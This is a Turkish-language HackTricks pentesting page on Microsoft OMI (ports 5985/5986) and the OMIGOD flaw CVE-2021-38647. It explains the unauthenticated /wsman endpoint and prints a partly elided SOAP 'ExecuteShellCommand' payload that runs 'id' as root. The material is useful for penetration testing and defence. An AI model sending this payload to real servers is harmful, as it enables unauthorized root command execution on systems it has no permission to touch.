hacktricks/src/network-services-pentesting/5985-5986-pentesting-omi.md

5985,5986 - Pentesting OMI

{{#include ../banners/hacktricks-training.md}}

Temel Bilgiler

OMI, Microsoft tarafından uzaktan yapılandırma yönetimi için tasarlanmış bir açık kaynak araç olarak sunulmaktadır. Özellikle aşağıdaki hizmetleri kullanan Azure'daki Linux sunucuları için önemlidir:

• Azure Automation
• Azure Automatic Update
• Azure Operations Management Suite
• Azure Log Analytics
• Azure Configuration Management
• Azure Diagnostics

Bu hizmetler etkinleştirildiğinde, omiengine süreci başlatılır ve tüm arayüzlerde root olarak dinler.

Kullanılan varsayılan portlar 5985 (http) ve 5986 (https)'dır.

CVE-2021-38647 Açığı

16 Eylül'de gözlemlendiği üzere, Azure'da dağıtılan Linux sunucuları, belirtilen hizmetlerle birlikte, OMI'nin savunmasız bir sürümünden dolayı hassastır. Bu güvenlik açığı, OMI sunucusunun /wsman uç noktasındaki mesajları Authentication başlığı gerektirmeden işleme almasıyla ilgilidir ve istemcinin yanlış bir şekilde yetkilendirilmesine neden olur.

Bir saldırgan, Authentication başlığı olmadan "ExecuteShellCommand" SOAP yükü göndererek bunu istismar edebilir ve sunucunun root ayrıcalıklarıyla komutları yürütmesini zorlayabilir.

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

Bu CVE hakkında daha fazla bilgi için buraya bakın.

Referanslar

• https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
• https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/

{{#include ../banners/hacktricks-training.md}}